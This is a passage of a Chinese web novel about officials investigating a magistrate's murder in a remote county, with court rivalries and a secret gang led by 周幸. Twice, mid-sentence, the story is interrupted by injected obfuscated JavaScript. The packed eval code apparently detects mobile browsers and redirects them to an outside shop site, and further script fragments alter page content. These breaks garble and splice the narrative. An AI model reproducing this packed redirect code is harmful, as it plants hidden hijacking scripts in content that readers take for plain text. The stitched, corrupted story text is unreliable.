吕鸿走马上任才一天,岂能愿意叫自己的手下抢去了风头,抢白道:“三日前许奉被害身亡,今日请了仵作验尸,方知他在死前吸食过那种菌子的孢粉,在意识不清的情况下被人杀害。” 他喝多了,一张脸涨得通红,傲慢从骨子里流露出来,语气没轻重。袁察深受冒犯,当即大怒,虎目生威,大掌拍在桌上发出一声巨响,震得酒杯东倒西歪:“袁某听不明白,还请直言。” 不过两句话的功夫,方才的热闹与祥和烟消云散,谈笑声归于寂静。 吕鸿叫这一巴掌吓住了,没敢吱声,倒是赵恪站出来质问:“方圆数里只有千路山生长这种菌类,岂能与你们脱得了干系?” 袁察当下冷笑:“那知县许奉虽然行事乖张,作风不严,但几年前我便和他约定千路山与郸玉互不相干,若非恩人周姑娘相邀,我也断不会进城来。况且我山上弟兄都老实本分,几年来都不曾踏足城内,又怎会去杀害朝廷命官?” 赵恪端起官架子,直言:“本官可听说你们这些土匪恶名远扬,烧杀抢掠无恶不作,杀个小小县官有何不敢?” 袁察斜眼觑他,毫不留情地讥讽:“赵大人当真是明察秋毫,仅凭这一点线索就能定案,如此天赋朝廷还要什么大理寺、刑部,天下刑案交到赵大人手中,想必一日便能全部轻松解决。” 赵恪是横竖看那山匪大当家不顺眼,忍了许久的脾气借着酒劲儿发出来:“你以为盘个山头,召集一帮歪瓜裂枣就能无法无天,真当朝廷腾不出手收拾你们这群地痞无赖吗?自个儿送上了门还想走,且先问问我手底下的侍卫!来人,给我拿下他!” 袁察当惯了土皇帝,管你什么京城来的大官小吏,丝毫不惧:“袁某既敢单刀赴会,就不怕你们将人扣在此处。” 李言归一直守在门口,此刻听令当下推门而入,带着身后的侍卫上前拿人。 周幸不知是喝懵了还是吓蒙了,此时呆愣地站着,一言不发。陆酌光更是一副事不关己的模样。 眼看刀锋就要出鞘,冯宗吓了一身冷汗,匆忙站起身,正要上前相劝,还没开口说话就听齐煊说道:“赵大人,虽然那验尸的仵作说方圆数里只有千路山生长这种菌类,但他的话也未必可信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017787|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日要派人细细查证才是,何必这么早下定论?” 齐煊自幼在东宫长大,骨子里都是谦逊知礼,鲜少摆架子,此次从京城一路走来,从未喊过他“赵大人”。此番一叫,显然是要拿自己的身份压人。 赵恪是喝得有点多,但不至于分不清轻重,纵然他有个权倾朝野的首辅爹,但此次查案是齐煊为主,他从旁辅佐,所以也不好在明面上与这个被废黜过的虚位王爷闹得面红耳赤。 他与齐煊对视半晌,最终退了一步,摆了摆手让李言归退下,微微低头应道:“王爷所言极是,是本官冲动了。” 袁察从鼻子里挤出一声冷哼,转而对齐煊抱拳道:“今日得见恩人是我三生有幸,感激之情言无不尽,既王爷查明嫌疑涉及千路山,我也绝不推脱,回去便召集弟兄们盘问个清楚,倘若许知县之死当真与我山上弟兄有关系,我必亲自将他押来,再赔上我项上人头请罪。” 袁察将话说至此,已是不打算再留,齐煊欲有挽留之意,但见眼下这情况也难以说出口,只得与他道别。 袁察转身,冷下脸拂袖离去,冯宗生怕此人回去召集土匪下山作乱,便忙出门相送,打算多说几句好话。吕鸿喝了一肚子酒水,再经方才一吓,尿意顿生,跑出去如厕。 赵恪方才虽被下了面子,却并不在意,笑着对齐煊道:“还是王爷思虑周全,我方才险些做错了事,细细想来若是真将那土匪头子扣在这里,那些土匪怕是要连夜下山进城作乱,侵扰百姓了。” 齐煊点头,道:“复谦也劳累一整天了,明日查证一事我去便是。” 复谦是赵恪的表字,齐煊如此唤他,多少有些安抚之意。 齐煊虽曾经贵为太子,但这十多年的时间也受尽了人情冷暖,连脊骨的棱角都是钝的。赵恪望着他笑:“这是我分内之事,怎敢推给王爷,今夜回去好好歇息,明日一早我便去拜见。” 说话间饭局便要散场,方才干戈将动之时众人都起身,唯有陆酌光一人好整以暇地坐着,像一个完全不相干的人,慢条斯理地吃着菜。眼下他听出赵恪要走,便搁下筷子慢悠悠动身。 行至门口时,余光瞥见周幸也慢步走来,陆酌光下意识停下脚步避让。她喝得有点多,走路乱晃,左脚绊右脚,走到门口处猝不及防地往前一摔。 饶是陆酌光有防备,也没想到她突然来这一招,避闪不及让她摔进了怀中,不由面露惊色,按住她的肩膀想将她扶稳。 却是不知她喝得太醉,还是存心借着几分酒意撒酒疯,爪子立即不安分地上下摸索,不过片刻的功夫就在他胸膛腰间摸了个遍,娴熟得令人咋舌。 周幸仰起头,眯着眼眸努力打量:“哦,是陆秀才啊。” 她那原本苍白无暇的脸在灯火的照映下染上绯红,褐色的眼眸浮出潋滟水光,半敛着眼皮看人,显得含情脉脉,嘴边挑着轻薄的笑意:“我们城里还没见过这么仪表堂堂的秀才,上回有个老秀才,都半秃了还整日拿着把扇子自封风流才子。还得是年轻啊,单是看你这面相,想必就不会有肾气亏虚的烦恼……” 陆酌光应对不暇,一把抓住她那只可恶的爪子,耳朵尖红得像涂了胭脂,连带着白玉一样的面容也晕开了大片的霞色,笑容看起来有些勉强,局促道:“周姑娘说笑了,还请站稳。” 他这模样逗乐了赵恪。此人嘴脸变幻多端,翻脸快过翻书,先前还对周幸冷嘲热讽,现在却在一旁打趣,明知故问:“周姑娘可是看上酌光兄了?” 周幸也是见好就收,没有过分调戏,顺着陆酌光掺扶的力道站稳了身体,笑眯眯道:“有谁不爱美人呢?” 陆酌光闹了个大红脸,连连摆手,逼如蛇蝎般后退几步,匆忙整理被周幸方才揉乱的衣衫。 齐煊在规矩森严的教礼下长大,从来没见过这么色胆包天,五毒俱全的女子,为了不让她继续骚扰赵恪倚重的门客,也为救被逼得满脸通红的陆秀才,他开口吩咐侍卫送她回家。 “多谢王爷。不过这皓月当空正逢佳时,我不回家,要去风月楼。”周幸轻扬眉梢,颇为不正经地一笑,“听曲儿。” 9.生旦净末 崔慧一整日都在县衙整理卷宗,细细查阅了许奉被害案的细节以及他在任时期的各种文书,发现个吊诡之事。 许奉年轻时可是京城里响当当的人物,出身名门不说,自幼在国子监念书,自入仕后可谓一路高歌,直到坐上太子太傅的宝座,成了储君的第一辅佐人,与齐煊感情颇为深厚。朝堂众臣提及此人无人不赞不绝口,钦佩其学识渊博,品质高洁。 然而在卷宗的记录当中,他却是个行为乖张之人。 他在郸玉上任的第一年就因个人喜好命人砸了百年戏台,并赶走所有戏班子,在城中禁戏。此后他又找了各种罪名处理了城中几户富裕人家,但崔慧对比账目后,发现这几户本应充公的家产竟削了一半,与抄家时记录在册的数目对不上,并且从那之后,许奉的宅子就在城中建了起来,三进院落,相当气派,甚至还纳了个青楼女子为妾。 若他当真只是为官不仁,为夫不义的人也就罢了,但许奉又十分勤勉。 他数次走访市井,兴建学堂供家境贫苦的孩子念书,修改了县中报官需写诉状的规矩,凡有冤情皆可击衙门前的大鼓,更严惩盗匪,凡作奸犯科者皆加重量刑——王地主那被当街斩首的儿子已不是头例。 许奉若是当初获罪被贬,在塞北受尽苦难从而性情大变倒也可以说得通,但他想凭借徇私枉法,贪污受贿而过上好日子,回京城复职岂不更好? 郸玉这个偏远又贫瘠的地方,再怎么贪也不过三瓜两枣,更何况这里冬季严寒时有雪灾,夏季酷暑偶发大旱,压根不是安度晚年的最佳选择,不知许奉为何推拒了复职,选择在这地方上任知县。 崔慧将卷宗来来回回翻阅,用过午饭后想起那刚痛失爱子的王地主还在大牢里蹲着,便命人提来审问。 这王地主顶着乱糟糟的头发,一进门就跪在地上,哭爹喊娘说自己冤枉。自他爱子被斩首后,他悲痛欲绝一病不起,连着数日都在床上躺着,好不容易身体好些了,才刚出门走走,衙役就冲到他家中将他押了过来,说他勾结土匪谋害许知县。 王地主说自己纵然有一百个胆子,也不敢谋害官员,那些说他曾去千路山找土匪的传言纯属无稽之谈,存心污蔑。 崔慧一拍桌子,肃声问:“难道城中百姓都说你曾是山匪的拜把子兄弟也是污蔑?” 王地主哭着说:“大人有所不知啊!当年山匪横行霸道,在城中肆意妄为,我们这些市井小民若想安生做生意,只能向山匪定期上交保护费,那些山匪只要收了银子就会对外宣称是拜把子兄弟。草民是老实本分的生意人,又怎么敢跟那等恶匪称兄道弟?更何况几年前许知县将山匪驱逐出城后,我便与他们完全断了往来,这罪名完全是子虚乌有啊!” 崔慧见他哭天抢地,一把破锣嗓子嚎个不停,审问时翻来覆去也就“我冤枉啊”“我可怜啊”这几句,让他喊得双耳嗡鸣,于是提了王家其他人问审。 王地主的家奴俱胆小,稍微恐吓,他们就如倒豆子般招了个干干净净。 王地主虽没说实话,但许奉之死还当真与他没有关系。 此人多年前的确与山匪头子歃血为盟,拜为异性兄弟,后来许奉来了郸玉,着手收拾那些与山匪关系密切的豪绅,王地主为避锋芒只得暂时与山匪断了往来。 只是等风头过去,王地主再想与山匪重修旧好时,那边却不再搭理他,不管他命人送去多少次信和东西,一概原封不动提回来。 前些日子王地主死了儿子,满心怀恨,打算赔上全身家当去千路山买凶,向许奉寻仇。但他在千路山脚下转了几圈,也没能等到山匪理会,铩羽而归。 简单来说,这几年王地主想尽了办法要与山匪恢复来往,但从未成功过,因此他勾结山匪谋害许奉一事,确定为假。 崔慧将今日所得整理成册,一直到夜深时才写完,恰逢随身护卫归来,向他汇报今日跟着齐煊、赵恪二人的见闻。 从他们清早会面周幸说起,到青楼审问、与吕鸿接头、去赌坊探查、义庄验尸以及与山匪大当家共进晚饭,一整日下来几人奔前跑后,忙活不少事。 崔慧认真听着,直到护卫汇报完毕后,他才若有所思道:“赵恪果真有意阻拦岭王查案。” 护卫低声问:“大人何出此言?” “那青楼老鸨所言事关重大,带回来细审并无错,但他却出面阻拦,可晚间用饭时却要将仅有嫌疑的山匪捉拿,试问青楼女子与凶恶山匪,哪个好审?” 崔慧的手指在桌面轻敲,道:“赌坊东家说奸夫无工却常赌,任谁都能听出蹊跷,何以赵恪充耳不闻,只抓着许知县的作风争论,究竟是这赵首辅的儿子蠢笨无脑,还是故意想激怒岭王,分散他的注意力?且他身旁跟着的陆秀才,连赵首辅都颇为倚重,岂能是个只会掉书袋的草包,他们不过是在装疯卖傻罢了。” 他望着闪烁的烛火,叹道:“郸玉果然有鬼,这才来的头一日,就能牵出这么多。涉及鬼神之说暂且不论,又是泠州大运河的贪污,又是无名闲汉私藏金子,还有涉嫌的山头恶匪,如今看来许奉的死因倒未必是最大的事。” 护卫询问:“可要修书传信于御史大人?” 崔慧没有立即回答,而是站起身缓步行到窗边,将其推开。寒风呼啸灌入,零星几盏灯下,小雪沫飘了进来,落在他的脸上,又融成水珠顺着年轻的面容流下。 崔慧出身落没寒门,由都察院的左都御史一手培养,乃他的亲信。 犹记得前夜左都御史亲自上门,与他秉烛夜谈,言明许奉之死蹊跷,而赵首辅执意插手,必定是郸玉藏着不能见人的古怪。 赵首辅与左都御史在朝廷分庭抗礼,因治政意见相左多年来从未停下明争暗斗,在得知他将儿子也派往郸玉查案之后,左都御史便立即提了崔慧随同。 因此,崔慧从一开始就不是奔着追查许奉之死而来,而是要查赵家人这葫芦里卖的到底是什么药。虽说他此前并未办过这种事,但对方是贪欢作乐的纨绔,他自觉能够应付。 “不必,先盯住了赵恪,看看他究竟想隐瞒什么。”他转着肩头,松泛有些僵的臂膀,问道,“王爷在何处?” 护卫应道:“义庄。” “王爷尊师可以体谅,但感情误事,这么多年了,这位还没学会不形于色。”崔慧思及昨夜齐煊对冯宗大发雷霆的样子,连连叹息,“你代我走一趟去劝慰王爷,叫他节哀,切莫伤心过度。” 小雪飘了满天,寒风肆虐,撞在门窗上发出萧索的声响。 齐煊没有回住处,从酒楼出来后直奔义庄。夜深人静,侍卫守在外面,房中只有他一人,白蜡烛的火苗跳动闪烁,照得他影子忽明忽灭,在空寂的停尸堂来回晃。 齐煊站在棺材前,心生埋怨。他的老师,一位德才兼备,学富五车的智者,生于名门大族,虽然自幼勤勉节俭,晚年也不复当初风光,但也不至于死了之后被置在这样破破烂烂的棺材里,祭品也只有一只鸡和几个馒头,寒酸得可怜。 十年前他被诬陷谋害先帝,因而被废黜太子之位,囚禁于悔过谷。那日像今天一样冷,大雪纷飞,老师刚病一场却拄着木棍踏着厚雪,一步一步走到他的屋前,隔着门缝老泪纵横。 到现在齐煊都还记得清楚,他说:“此去塞北路途千里,恐怕不能常来探望殿下,万望保重身体。虽与京城千山万水相隔,但老夫倘有一息尚存,便会坚持追查陷害殿下之人,只待将来殿下沉冤得雪,春风得意,你我再于东宫相见。” 齐煊在五岁时就将许奉拜为老师,此后为人处世的道理,为君治政的学识,为官爱民的理念,对这世间所有高尚品德、君子风范、豁达仁爱的理解,皆是许奉十多年言传身教,一点一点塑成了他。 于是凭借着那一句“再于东宫相见”,十年来齐煊咬着牙,撑着一口气摸爬滚打,受尽磋磨也不愿放弃,却不想当日那隔着门缝所见的一面,竟成了师生二人的永别。 如今来了郸玉,所有人都告诉他,许奉是个徇私枉法,品行低劣的贪官,是作恶多端,是死有余辜。 齐煊轻轻摩挲着手里的木雕小马,站在棺材前端倪着这位满面风霜的老人,只觉心中悲痛难忍,一时两眼热泪,忍不住低声问:“老师,这是你对我的惩罚吗?” 郸玉的雪颇为凶猛,短短半刻钟的功夫,就下得宛如鹅毛,给地上铺了一层洁白无尘的软云。夜下的县衙灯火通明,赵恪房中传出琴音轻响,婉转动听。 美妾生得沉鱼落雁,素手轻抚琴弦。赵恪盘着手里的珠串,低着头闭目沉思,左右两边分别坐着在灯下看书的陆酌光,和面无表情的李言归。 “这帮王八犊子,真是给我们找了不少事儿。”赵恪揉着太阳穴抱怨。他有偏头痛的顽疾,是从娘胎里带出的毛病,一旦思考过度就会发作,疼起来恨不得拿头撞墙,语气也满是烦躁,“那仵作验出什么东西了?” 李言归从袖中掏出一物,打开包裹的麻布,是个方寸大小的瓷瓶,他道:“这瓷瓶是从许大人的腹部剖出来的。” 赵恪接了东西还没打开,就听门外传来轻响,他唤了声:“长乐。” 美妾停下抚琴,起身将门打开,一名侍卫带着肩上的碎雪匆匆而入,低身行礼:“大人,属下比王爷的人先一步赶到,那邹业并不在家中,属下仔细搜查后在他的床底藏着的暗格里找出个盒子。” 说着他奉上盒子,美妾长乐接过,送到赵恪身边,顺势坐在他的腿上:“好沉,里面装的是什么东西?” 盒子上了锁,却见长乐用葱白的两根手指一拧,锁扣瞬间断裂,她将盖子掀开,里面是或大或小的漆黑石头,不由撇嘴,不满道:“原来是几块破石头。” 赵恪沉着脸:“你再仔细看看,这是石头吗?” 长乐从盒子里捏了一块小的,在烛光下一照,里头那细细碎碎的光芒就折射出来,她惊讶道:“是金子。” 赵恪将其狠狠攥在手心,勾着唇角冷笑:“父亲料事如神,有人想利用许奉的死暗中生事,对方有备而来,算计好了等着我们跳,真是过个年都不让人安生。” 长乐深知这些金石此时出现对他们百害而无一利,十分要命,她抱着盒子提议:“幸好公子果决,提前一步将这盒金石抢来,否则后果不堪设想。这东西万不可叫岭王他们看见,不如我就地拿去销毁。” “慌什么,目前局势尚在掌控之中,几个小小蚂蚁翻不起风浪,不必自乱阵脚。这金石我留着另有用处。”赵恪将手中的瓷瓶打开,里面塞着卷起来的纸,他将其拿出来展开,却见上方写着两行字: 海压竹枝低复举,风吹山角晦还明。 “是句好诗呢。”长乐起身绕到后方,轻缓地给赵恪揉头,莞尔一笑,“许奉为了岭王可真是用心良苦,这么大的瓷瓶都吞得下。” “装神弄鬼,当真以为死了个小县官,就能把当初的事翻出来?”他玩味一笑,将纸条随意地丢在桌上,闭着眼睛享受,“今日让齐煊得了太多信息,不能让他往下查,倘若查出了几年前的事,你我都没好果子吃,派人守着邹业的家,一旦人露面立即灭口,别给他们机会。” 长乐虽然白日并未跟随查案,但也从李言归口中得知大概,道:“既然有人暗中操作,光杀邹业一人恐怕不够,怕就怕齐煊在郸玉追查到底。今日所见数人与周幸皆有关联,她有意在中间引导,必不可能是局外之人,依我所见,应当将她一同灭口。” “齐煊哪有釜底抽薪的胆子,他家中还有妻儿等着他回去过年,随便吓一吓应当就会收手了。”赵恪满不在意道,“周幸不过是个生于市井的贱民,从何处能得知朝廷的事?应是个被使唤的棋子,且她那谄媚奉承的作派,与吕鸿乃一路货色,不足为惧,怀疑她倒不如说将其请来的冯宗更为可疑。” 赵恪今日见了太多的人,稍有不慎脑子就乱成一团。数张面孔在眼前交替掠过,他猜到有些必是一早被安排好的,有些却是被利用。 于是挑挑拣拣,思考好半晌,他才道:“这些定然与都察院脱不了干系,崔慧恐怕是此局的头目,所以今日才不与我们同行,意在撇清关系。赌坊派人盯梢,一旦有异速来报我,我们先按兵不动,看崔慧如何打算,若实在碍事就让他留在郸玉别回去了,反正这里荒地多,多埋他一个也不算挤。” 李言归点头,长乐也附和:“言之有理,公子果真聪慧。” 唯独身旁的人一直不言语,似完全置身事外。 赵恪瞥了瞥他,脸上不见白日里与他称兄道弟的热情,道:“你昨夜回房后在做什么?” 陆酌光头也不抬:“练字。” 赵恪嘴角抽了抽:“忙点有用的行吗?那周幸瞧着对你有意,或可利用,你别过于冷漠,下回见面与她亲近些。” 陆酌光不应,单看神色约莫是不赞同的。 他散漫的态度让赵恪大为恼怒,发难道:“我在同你说话,你总盯着这破书做什么?你应该看着我回话!” 陆酌光徐徐抬起头,他有一张斯文的俊脸,唇角微微上扬,即便面无表情时也带着零星的笑意:“赵恪,你好像总是忘记,你并没有长一张令人欣赏的脸。” 竟是与白日里那温文尔雅的陆秀才判若两人。 “你!”赵恪拍案而起。 这是惯常会出现的剧目,李言归、长乐早已娴熟应对,同时出言劝道:“公子息怒。” 陆酌光神色如旧,并不觉得自己说了多冒犯的话,无惧于赵恪的怒火。 然而赵恪对其亦有忌惮,尤其出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是李言归开始思考。若要唱戏,必少不了生旦净末丑各种角儿,而从今早进青楼开始,所见貌美老鸨陶缨、俊生东家萧涉川、年迈仵作隗谷雨、健壮山匪袁察,细细一思量,竟然与各种角儿都一一对上了号。 提灯之下,李言归望着陆酌光手里拿闪着光的金石,立即意识到他方才没有在赵恪面前开口说这些,致赵恪想错了方向,是刻意为之。 李言归惊觉上当,怀疑方才陆酌光是故意走得磨磨蹭蹭,等着他追上来。 赵恪因先天不足,养成了专横独断,刚愎自用的性子,与他表字中的“谦”半点不沾,倘若现在回头告诉他方才的猜想都是错的,只怕今夜难以安宁。 李言归顿觉进退两难,要不要往下问都是个问题,看心机颇深的陆酌光更是觉得其面目可憎起来。 陆酌光等了片刻,果不其然开口催促:“怎么不说话?” 李言归在心中将陆酌光与赵恪略作衡量,觉得陆酌光更为难对付,便继续问道:“倘若他们俱为一伙,那谁为头领?” “你可听说过‘无丑不成戏’的说法?丑角在戏班里向来举足轻重,功夫深,地位高,多是统领戏班子的存在。”陆酌光淡声道,“这场大戏的丑角,一早就与我们相见了。” 李言归:“你是说冯宗?” “不。”陆酌光轻敛眸光,想起今夜在酒楼包房里,那喝得醉醺醺的人摔上来,不安分的爪子在他身上乱摸,冰冷得像是死人的手,几乎感知不到温度。 然而那双琥珀一样的眼睛看似醉了,却又满是清明。 “是周幸。” 大雪掩了郸玉县,街道已无行人,一片漆黑。两个侍卫打着灯笼,将周幸送到了仍亮着灯火的风月楼。 周幸喝得醉醺醺,深一脚浅一脚,鞋子底压实了厚厚的雪,整个人看起来高了一截。她站在门口蹭了蹭鞋底,邀请侍卫进去喝两杯再走。侍卫忙着回去复命,摆手拒绝。 周幸没有强求,摸出了一块碎银子塞侍卫手中,嘿嘿笑道:“天气太冷,我就不多留了,二位大哥路上当心。” 她说完,便像一尾小鱼钻进了青楼中,侍卫却并未立即离开,而是探头进去,悄悄查看。 就见周幸对青楼的姑娘们十分熟识,一路进去都在跟不同的姑娘打招呼,摸一下这人的小脸,掐一下那人的小腰,上楼时还顺手扶了一把险些没站稳的姑娘,被反手塞了一颗葡萄,笑得满面春风。 她那模样好似浸淫销金窟多年,几分酒意上头便乐不思蜀,纵情彻夜,风月无边。 侍卫只叹同人不同命,收回羡慕的双眼,顶着风雪回去复命了。 周幸嘴角噙着吊儿郎当的笑,一路与姑娘们闹着上了二楼,随后往最偏僻的角落走去。 那地方隔了一道走廊门,一进去就隔绝了所有吵闹的声音,琴音与笑闹声渐消,取之而代的是从房中传出来的争吵声。 “你整天研究这些乱七八糟的药做什么?也没见哪个能派上正经用处。” “信不信我一碗药就让你养的那些母鸡下不了一个蛋。” 有人劝架:“别嚷嚷了,小声些。” 有人将二胡拉得肝肠寸断,催人泪下,恨不能自戳双耳以求清静。 周幸推门而入时,这些吵杂的声音在瞬间消失,迎面一股暖流袭来,带着淡淡的清香,她倒抽几口气,骂道:“真是冷死了,这贼老天到底要下几场雪,是打算把所有人都冻死不成?” 所有人同时站起身,低下头做出恭敬相迎的姿态:“少主。” 陶缨立即迎上来,从水盆里拧出热毛巾递给她擦脸和手,还拽了一件裘绒外衣套在她身上,同时塞了个热乎乎的手炉给她,一边为她清扫发上的雪茬,一边关切道:“夜太深了,何不让那些当官的用马车送你回来。” “没多远的路,走两步就到了。”周幸不以为意,往里走至最前方的座椅处,一屁股坐下去,像没骨头一样瘫在椅靠上,随意摆了摆手,其后屋内的其他人才跟着坐下来。 长桌两边依次坐着抱着二胡没事就折磨人耳朵的萧涉川、前后忙活从中劝架的陶缨、肩膀上站着一只黑羽鹦鹉的袁察、以及面前摆着各种草药的隗谷雨。 他们不约而同地沉寂,注视着周幸。 周幸含一口热茶漱口,散了散嘴里的酒气,又喝了一口,暖意从喉咙滑进肚子,顺着血液游过四肢百骸,将骨头缝里浸透的冰碴慢慢融化,快要冻僵的手指也总算有了些知觉,身躯逐渐回温。 再一抬眼,她的面容就褪去了白日里的奉承之色,市井小民的气息也跟着散了个干干净净,一双褐眸在灯下显得过于凛冽分明,清澈沉静:“各位辛苦,先说一个好消息。” 她的目光从几人身上掠过,淡声道:“我们遇上了个懂行的人。”